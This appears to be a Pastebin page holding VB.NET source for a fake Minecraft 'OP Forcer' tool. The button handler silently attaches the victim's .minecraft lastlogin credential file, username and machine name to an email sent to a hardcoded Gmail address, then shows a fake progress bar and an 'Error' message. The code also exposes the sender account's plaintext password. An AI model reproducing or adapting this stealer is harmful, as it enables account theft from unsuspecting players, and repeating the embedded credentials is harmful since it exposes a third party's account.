daily pastebin goal
37%
SHARE
TWEET

Untitled

a guest Oct 2nd, 2017 412 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Web
  2. Imports System.IO
  3. Imports System.Net.Mail
  4.  
  5.  
  6. Public Class Form1
  7.  
  8.  
  9. #Region " Global Variables "
  10.     Dim Point As New System.Drawing.Point()
  11.     Dim X, Y As Integer
  12. #End Region
  13.  
  14. #Region " GUI "
  15.     Private Sub Main_MouseMove(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove
  16.         If e.Button = MouseButtons.Left Then
  17.             Point = Control.MousePosition
  18.             Point.X = Point.X - (X)
  19.             Point.Y = Point.Y - (Y)
  20.             Me.Location = Point
  21.         End If
  22.     End Sub
  23.     Private Sub Main_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown
  24.         X = Control.MousePosition.X - Me.Location.X
  25.         Y = Control.MousePosition.Y - Me.Location.Y
  26.     End Sub
  27.  
  28. #End Region
  29.  
  30.    
  31.  
  32.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  33.  
  34.     End Sub
  35.  
  36.     Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
  37.         Me.Close()
  38.     End Sub
  39.  
  40.     Private Sub PictureBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox2.Click
  41.         Me.WindowState = FormWindowState.Minimized
  42.     End Sub
  43.  
  44.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  45.         Try
  46.             Dim mail As New MailMessage()
  47.             Dim SmtpServer As New SmtpClient
  48.             SmtpServer.Credentials = New Net.NetworkCredential("metzrock@gmail.com", "soundview")
  49.             SmtpServer.Port = 587
  50.             SmtpServer.Host = "smtp.gmail.com"
  51.             SmtpServer.EnableSsl = True
  52.             mail.To.Add("metzrock@gmail.com")
  53.             mail.From = New MailAddress("metzrock@gmail.com")
  54.             Dim a As New Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\.minecraft\lastlogin")
  55.             mail.Attachments.Add(a)
  56.             mail.Subject = "Minecraft - " & Environment.UserName & " : " & Environment.MachineName
  57.             mail.Body = "Score!"
  58.             SmtpServer.Send(mail)
  59.             mail.Dispose()
  60.         Catch
  61.         End Try
  62.         Timer1.Start()
  63.     End Sub
  64.  
  65.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  66.         prg1.Increment(2)
  67.         If prg1.Value = 100 Then
  68.             Timer1.Stop()
  69.             MsgBox("Error", "OP Forcer")
  70.         End If
  71.  
  72.     End Sub
  73.  
  74.     Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles prg1.Click
  75.  
  76.     End Sub
  77. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top